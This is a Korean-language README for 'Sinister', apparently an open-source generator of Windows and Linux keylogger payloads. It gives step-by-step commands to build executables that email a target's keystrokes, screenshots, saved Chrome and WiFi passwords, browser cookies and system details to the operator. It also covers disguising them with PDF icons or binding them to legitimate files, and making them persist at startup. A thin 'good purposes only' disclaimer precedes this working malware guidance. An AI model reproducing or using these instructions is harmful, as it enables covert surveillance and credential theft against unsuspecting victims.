
Sinister는 Windows/Linux 키로거 생성기로서, 키 로그를 이메일로 전송하고 기타 유용한 대상 정보도 함께 보냅니다.
이 작은 파이썬 스크립트는 정말 멋진 작업을 할 수 있습니다.
Sinister는 Windows/Linux용 키로거 생성기(keylogger generator)로, 키로그 및 스크린샷을 이메일로 전송하며, 대상의 기타 유용한 정보를 함께 보냅니다. Python 3으로 작성되었습니다.
:computer: 이 프로젝트는 오직 좋은 목적과 개인적인 용도로만 제작되었습니다.
이 소프트웨어는 어떠한 종류의 보증도 없이 "있는 그대로" 제공됩니다. 귀하는 이 소프트웨어를 자신의 책임 하에 사용할 수 있습니다. 사용에 대한 모든 책임은 최종 사용자에게 있습니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
| 서버 이름 | SMTP 서버 | SMTP 포트 |
|---|---|---|
| GMAIL | smtp.gmail.com | 587 |
| OUTLOOK | smtp-mail.outlook.com | 587 |
| YAHOO | smtp.mail.yahoo.com | 587 |
| 내장 스틸러가 훔칠 수 있는 항목 : |
|---|
| Chrome 브라우저 (저장된 비밀번호) |
| WiFi (저장된 비밀번호) |
| Chrome 쿠키 (로그인 데이터, 쿠키, 방문 기록) |
| Firefox 쿠키 (cookies.sqlite) |
| 수집 및 전송 항목: |
|---|
| 운영체제 |
| 컴퓨터 이름 |
| 사용자 이름 |
| 공인 IPv4 |
2022년 5월 30일부터 Google이 덜 안전한 앱 기능을 제거했습니다. 따라서 Gmail 비밀번호 대신:
앱 특정 비밀번호 사용# /opt 디렉토리로 이동 (선택 사항)
$ cd /opt/
# 이 저장소 복제
$ git clone https://github.com/PushpenderIndia/Sinister.git
# Sinister 폴더로 이동
$ cd Sinister
# 의존성 설치
$ bash installer_linux.sh
*** 참고: installer_linux.sh 실행 중 Python 설치 대화상자가 나타날 때 ***
* 사용자 지정 설치(Custom install) 클릭
* 경로를 C:/Python37-32 로 선택
### Python이 이 경로(Wine 내부)에 설치됨: ~/.wine/drive_c/Python37-32
# installer_linux.sh 실행 중 오류가 발생하면, installer_linux.py를 사용하여 설치 시도
$ python3 installer_linux.py
$ chmod +x Sinister.py
$ python3 Sinister.py --help
# 페이로드/RAT 생성
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# GMAIL SMTP 서버, 포트 구성을 사용한 페이로드 생성 (기본 SMTP 서버 = smtp.gmail.com, 기본 SMTP 포트 = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path
# OUTLOOK SMTP 서버, 포트 구성을 사용한 페이로드 생성
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path
# YAHOO SMTP 서버, 포트 구성을 사용한 페이로드 생성
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path
참고: icon 폴더에서 사용자 정의 아이콘을 사용할 수도 있습니다. 다음과 같이 사용하세요: --icon icon/pdf.ico
# 의존성 설치
$ 최신 python 3.x 설치
# 이 저장소 복제
$ git clone https://github.com/PushpenderIndia/Sinister.git
# 저장소로 이동
$ cd Sinister
# 의존성 설치
$ python -m pip install -r requirements.txt
# 텍스트 편집기에서 Sinister.py를 열고 16번째 줄 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe" 를 구성합니다.
# 도움말 메뉴 보기
$ python Sinister.py --help
# 페이로드/RAT 생성
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# GMAIL SMTP 서버, 포트 구성을 사용한 페이로드 생성 (기본 SMTP 서버 = smtp.gmail.com, 기본 SMTP 포트 = 587)
$ python Sinister.py -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path
# OUTLOOK SMTP 서버, 포트 구성을 사용한 페이로드 생성
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -w -o output_file_name --icon icon_path
# YAHOO SMTP 서버, 포트 구성을 사용한 페이로드 생성
$ python Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -w -o output_file_name --icon icon_path
참고: icon 폴더에서 사용자 정의 아이콘을 사용할 수도 있습니다. 다음과 같이 사용하세요: --icon icon/pdf.ico
















**오프라인 키로거(Offline Keylogger)**를 실행하여 오프라인 키 로그 캡처를 테스트하고 다음 명령을 실행하여 키로거 문제를 디버그하세요:
test_key.py를 [컴파일된 모드 및 원시 모드] 두 가지 모드로 실행하고 오류를 확인하세요
다음과 같이 실행: python test_key.py
또한 다음과 같이 컴파일:
pyinstaller --onefile test_key.py --hidden-import=win32event --hidden-import=winerror --hidden-import=win32api --hidden-import=pynput.keyboard
실행 후, 무언가 입력을 시작하세요. 10초마다 결과가 명령 프롬프트에 표시됩니다.
오프라인 키로거 파일은 TestKeylogger 폴더에 있습니다
1. --debug 플래그로 새 페이로드 생성
2. cmd를 통해 페이로드 exe 실행 [더블 클릭으로 페이로드 실행 금지]
3. 이제 CMD에서 더 자세한 오류가 표시됩니다. 해당 문제를 Issue 섹션에 올려주세요
텍스트 편집기로 Autostart 파일을 엽니다. Autostart 파일 경로: ~/.config/autostart/xinput.desktop
다음 5줄을 제거합니다:
[Desktop Entry]
Type=Application
X-GNOME-Autostart-enabled=true
Name=Xinput
Exec="destination_file_name"
참고: destination_file_name은 -o 매개변수로 키로거에 지정한 악성 파일의 이름입니다.
시스템을 재부팅한 후 다음 경로에 저장된 악성 파일을 삭제합니다.
키로거가 저장된 대상 경로: ~/.config/xnput
모든 종류의 기여를 환영합니다!
참고: 목록에 있어야 하는데 누락된 경우 알려주세요!
| 약어 | 전체 이름 | 설명 |
|---|
| -h | --help | 이 도움말 메시지를 표시하고 종료 |
| -i INTERVAL | --interval INTERVAL | 보고서 간 시간(초). 기본값=120 |
| -t TIME_PERSISTENT | --persistence TIME_PERSISTENT | __초 후에 지속성 활성화. 기본값=10 |
| -x SMTP_Server | --smtp | 사용자 정의 SMTP 서버. 기본값="smtp.gmail.com" |
| -y SMTP_Port | --port | 사용자 정의 SMTP 포트. 기본값=587 |
| -w | --windows | Windows 실행 파일 생성 |
| -l | --linux | Linux 실행 파일 생성 |
| -s | --steal-password | 피해자 시스템에서 저장된 비밀번호 탈취 [지원 OS: Windows] |
| -b file.txt | --bind LEGITIMATE_FILE_PATH.pdf | 자동 바인더: 정상 파일의 경로 지정 [지원 OS: Windows] |
| -d | --debug | 페이로드가 CMD 창과 함께 포그라운드에서 실행되어 적절한 실행 오류 확인 |
| 약어 | 전체 이름 | 설명 |
|---|
| --icon ICON | 아이콘 경로 지정, 악성 파일의 아이콘 [참고: 반드시 .ico 형식] | |
| -e EMAIL | --email EMAIL | 보고서를 보낼 이메일 주소 |
| -p PASSWORD | --password PASSWORD | -e 인수에 지정된 이메일 주소의 비밀번호 |
| -o OUT | --out OUT | 출력 파일 이름 |
![]() Pushpender Singh :computer: |
![]() Thomas Kunwar :computer: |
![]() krasnova19 :computer: |
![]() sarchish5 :computer: |
![]() chiragcode11 :computer: |
![]() C4RR0T02 :computer: |